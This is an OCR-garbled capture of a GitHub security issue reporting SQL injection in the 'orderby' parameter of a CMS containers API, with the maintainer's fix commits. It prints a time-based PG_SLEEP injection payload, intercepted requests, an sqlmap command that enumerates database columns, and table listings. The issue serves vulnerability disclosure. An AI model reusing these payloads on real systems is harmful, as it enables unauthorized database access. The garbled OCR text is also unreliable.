New issue

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## SQL Injection Vulnerability in api/v1/containers #19500

**⊙ Closed xiaozhicai** opened this issue on Oct 26, 2020 · 3 comments

Cat : Security Changelog: Documented Merged Passed Internal QA Passed QA Release : 5.2.8.5 Release : 5.3.8.5 Release : 5.3.8.5 Release : 20.10.1 Type : Bug Labels xiaozhicai commented on Oct 26, 2020 api:/api/v1/containers Is vulnerable to SQL injection, by the parameter 'orderby' in url. Raw Headers Hex Raw Params Headers Hex GET http://192.168.3.40:8880/api/v1/containers?filter=&page=&prdesby=title;105ELECT1200G\_SLEEP(2)120-HTTP/1.1
2 Host: 192.168.3.40:806(Macintosh; Intel Mac OS X 10.15.1)
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15.1)
3 AppleeWokit/537.36 (KNTHL, like Gecko) chrome/85.0.4183.121 AppleWebKit/937.36 (KHTML, like Gecko) Chrome/85.0.4183.721
Safari/537.36
4 Referer: http://192.168.3.40:8080/dotAdmin/
5 Accept-Encoding: grip, deflate
6 Accept-Language: zh-CN, zh;qu-0.9
7 Cookie: JSESSIONID=1886718205890CAA4504BC8310619C1; access\_token=
eyJGeAAiOiJKV1gliCJhbociolJJUziINiJ3-eyJqd&KiolJhhijzkkW00N504NDGWL
TOXXZUTYJUZISDNJOHAFBLHJANJANGLICL4MBWHI JOHAHANDGSDFWHRUDVLJGHU
101/KbJRjbKNADJJJZLCOpTZOLDJEWEZONDKIOTIZImlzcy161jclzrcyNohko
McIPY; DWRMLDSJMDD=+Fxc-11G51tOK9aBav0fEmpRtjn
8 Connection: close
9 0 matches 0 matches Type a search term ? + > Type a search term Done 989 bytes | 2,033 millis Raw Params Headers Hex Raw Headers Hex HTTP/1.1 500
Access-Control-Allow-Origin: \*
Access-Control-Allow-Methods:
GET, PUT, POST, DELETE, HEAD, OPTIONS, PATCH
Access-Control-Allow-Methods: true
Access-Control-Allow-Headers: \*
Cache-Control-Taylos-Headers: \*
Cache-Control: Tow-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Type: application/json
Content-Length: 544
Date: Wed, 30 Sep 2020 09:37:25 GMT
Connection: close orderby=title; 208ELECT#10PC SLEEF(3) #42V-]
Bost 192.168.3.4018080

3 User-Agent: Moxilla/5.0 (Macintosh; Intel Nac OS X 10 15 1)
Applewbhki/537.36 (KRTML, like Gecko) Chrome/85.0.4183.121
Safazi/537.36
Referer: http://192.168.3.40:8080/dotAdmin/
5 Accept-Encoding; gzip, deflate
6 Accept-Encoding; gzip, deflate
7 Cookie: JSESSIONID=138667181058990CAA4504RC8310619C1; access tokenTORNICUTIONID=138667181058990CAA4504RC8310619C1; access tokenTORNICUTIONID=13866718105990CAA4504RC8310619C1; access tokenTORNICUTIONID=13866718105990CAA 0 matches (2) < + > Type a search term Type a search term 989 bytes | 5,037 millis As the pictures above shows orderby=title;%20SELECT%20PG\_SLEEP(2)%20--, it took 2 seconds to receive the response from server orderby=title;%20SELECT%20PG\_SLEEP(5)%20--, it took 5 seconds to receive the response from server Then I read through the code that I download from github(version 5.3.6.1), I found that the parameter will form SQL without sterilization (yeah, you have designed SQLUtil.sanitizeSortBy to prevent SQL injection, but in this case, the vulnerable API didn't call SQLUtil.sanitizeSortBy)

```
I tried to attack the project by sqlmap(a tool to detect and exploit SQL injection), and here is the result that sqlmap gave me:
   tables that the project contains:
          template
address
adminconfig
analytic_summary
analytic_summary_404
analytic_summary_content
analytic_summary_pages
analytic_summary_period
analytic_summary_referer
analytic_summary_visits
analytic_summary_wisits
accompaign
            campaign
category
chain_link_code
chain_state
chain_state_parameter
challenge_question
           click
clickstream
clickstream_494
clickstream_request
cluster_server
cluster_server_uptime
cluster_server_uptime
                    _layout
_layouts_portlets
_role
   columns that the table called 'adminconfig' contains:
      xx@cxzdeMBP sqlmap % python sqlmap.py -r dotcms1.txt -p orderby --proxy http://127.0.0.1:1234 -D public -T adminconfig --columns
                   !] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all app icable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
        *] starting @ 16:13:04 /2020-09-30/
      [16:13:84] [INFO] parsing HTTP request from 'dotcms1.txt'
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] n
[16:13:18] [INFO] resuming back-end DBMS 'postgresql'
[16:13:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
       --
arameter: orderby (GET)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: filter=Bpage=Borderby=title:SELECT PG_SLEEP(5)--
        16:13:10] [INFO] the back-end DBMS is PostgreSQL
       [16:13:26] [WARNING] (case) time-based comparison requires reset of statistical [16:13:26] [WARNING] reflective value(s) found and filtering out
      (done)
[16:13:32] [INFO] adjusting time delay to 1 second due to good response times
       16:13:32] (INFO) adjusting time delay ompanyid 16:14:02] (INFO) retrieved: varchar 16:14:02] (INFO) retrieved: config 16:14:44! (INFO) retrieved: text 16:15:08] (INFO) retrieved: varchar 16:15:28] (INFO) retrieved: varchar 16:16:49] (INFO) retrieved: varchar 16:16:04] (INFO) retrieved: varchar 16:16:22] (INFO) retrieved: vype_ 16:16:145; (INFO) retrieved: varchar 16:16:145; (INF
         Columns | Type |
   It's obviously that there is SQL injection in your program.
   (<u>1</u> 1)
xiaozhicai added the Type: Bug label on Oct 26, 2020
wezell added Cat: Security Release: 20.10.1 labels on Oct 26, 2020
wezell added a commit that referenced this issue on Oct 27, 2020
            #19500 sanitize sql
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 X 10a7a6b
wezell added a commit that referenced this issue on Oct 27, 2020
             #19500 fixes potential sql vunerabilities
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  X cce6934
wezell added a commit that referenced this issue on Oct 27, 2020
```

